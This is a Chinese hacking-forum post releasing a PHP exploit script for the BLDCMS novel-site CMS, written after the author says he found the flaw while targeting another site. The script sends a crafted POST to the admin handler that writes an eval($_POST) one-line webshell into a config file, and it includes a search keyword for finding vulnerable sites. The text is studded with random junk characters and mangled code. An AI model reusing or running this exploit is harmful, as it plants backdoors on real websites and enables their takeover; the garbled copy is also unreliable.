BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
- R7 i7 E6 [- U  m+ y, V! g
2 W' \! |' _# h% L( `. Z
8 z+ C5 q: o4 Y% W+ n. ?话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
* n: _4 d2 P; C& }: D! d
既然都有人发了 我就把我之前写好的EXP放出来吧
" x7 J# [6 U9 D. a& f. w
4 g" _4 M( c" pview source print?01.php;">
02.<!--?php
+ _" s4 v* A1 \7 z% |) o03.echo "-------------------------------------------------------------------
  ^: W7 \! ?$ d% J) F04.
: P5 J: E, q! }" G8 b# i. A. I/ M05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
6 c7 t/ b! z5 t3 d. {; G* V  n06.
& z+ q, E4 v2 O07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
  }8 A/ `0 J& }4 t08.
, N: o/ x* K2 B# ?5 x09.QQ:981009941\r\n                                2013.3.21\r\n            
9 \, a1 t1 x9 j' i: _10.
/ n  ?7 w6 x, `% y3 Y8 z0 A5 O11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
5 e2 S0 R# }; j  N2 ]" n4 h16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
23.else
24.{
1 T1 P8 c' Y1 C* c25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
2 q$ Y( O  }! f8 ^2 e27.al;
: z( |" |: g2 j  {) k! }+ y28.$length = strlen($fuckdata);
+ Y6 T6 X) N# S  w1 w3 P29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
0 n2 B8 u& p; N) n% ^7 j7 C7 ]& }32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
4 B3 @9 f. ^3 v9 N% m0 o9 ^34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
  Y: o5 \' E* ^  k3 e, g4 Y& j36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
2 y3 P5 L5 f( r  F% |  f$ ^) w40.$fp = fsockopen($url, 80,$errno,$errstr,15);
: x1 J  ~5 q5 l8 C! G6 f: X/ m41.if (!$fp)
42.{
; W' U, c$ M3 n3 F- M' N, j43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
% u: {' D, r7 O. c- P45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
  j& Q: W' ?, q' K7 \+ v47.else
48.{
. L- p$ L2 j( \( L& A5 h! l; K49.$receive = '';
- l. |- C3 D( A% ~0 }7 g. q7 Z50.while (!feof($fp)) {
7 c% ^$ r2 M& x. B) J+ g51.$receive .= @fgets($fp, 1000);
- G+ v2 P3 q, X! n% y3 r! Q52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
7 }4 l2 l8 [1 k# r+ r55.
9 s* W: T% }( x3 ~56.GPC是否=off)";
57.}}
58.}
* }5 s& s; s8 w6 a  }+ R' g59.}
( F+ q. Z9 [2 U- e4 |9 Z- [60.getshell($url,$pass);
, D& W; g5 o' o. E# k7 u% Z, z61.?-->
. M" |& ^3 N8 `) Q
" S: t0 X% M. O

by 数据流
: ?) v& V5 Z, ?( M8 t